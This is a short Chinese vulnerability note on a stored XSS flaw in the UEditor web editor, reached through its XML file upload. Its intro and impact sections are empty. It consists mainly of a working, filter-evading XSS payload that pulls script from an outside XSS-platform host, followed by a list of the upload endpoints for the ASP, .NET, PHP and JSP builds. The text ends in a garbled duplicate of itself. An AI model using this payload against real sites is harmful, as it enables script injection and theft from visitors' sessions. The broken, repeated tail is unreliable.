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ueditor 允许xml上传的xss漏洞

一、漏洞简介

二、漏洞影响

三、复现过程

<html>
<head></head>
<body>
<something:script src="</tExtArEa>'"><sCRiPt sRC=http://xssye.com/tVbS></sCrIpT>" xmlns:something="xss平台地址">1234</something:script>
</body>
</html>

Ueditor 默认支持上传 xml ：config.json可以查看支持上传的后缀

/ueditor/asp/config.json
/ueditor/net/config.json
/ueditor/php/config.json
/ueditor/jsp/config.json

上传文件路径

/ueditor/index.html

/ueditor/asp/controller.asp?action=uploadimage
/ueditor/asp/controller.asp?action=uploadfile

/ueditor/net/controller.ashx?action=uploadimage
/ueditor/net/controller.ashx?action=uploadfile

/ueditor/php/controller.php?action=uploadfile
/ueditor/php/controller.php?action=uploadimage

/ueditor/jsp/controller.jsp?action=uploadfile
/ueditor/jsp/controller.jsp?action=uploadimag
'">" xmlns:something="xss平台地址">1234 Ueditor 默认支持上传 xml ：config.json可以查看支持上传的后缀 /ueditor/asp/config.json /ueditor/net/config.json /ueditor/php/config.json /ueditor/jsp/config.json 上传文件路径 /ueditor/index.html /ueditor/asp/controller.asp?action=uploadimage /ueditor/asp/controller.asp?action=uploadfile /ueditor/net/controller.ashx?action=uploadimage /ueditor/net/controller.ashx?action=uploadfile /ueditor/php/controller.php?action=uploadfile /ueditor/php/controller.php?action=uploadimage /ueditor/jsp/controller.jsp?action=uploadfile /ueditor/jsp/controller.jsp?action=uploadimag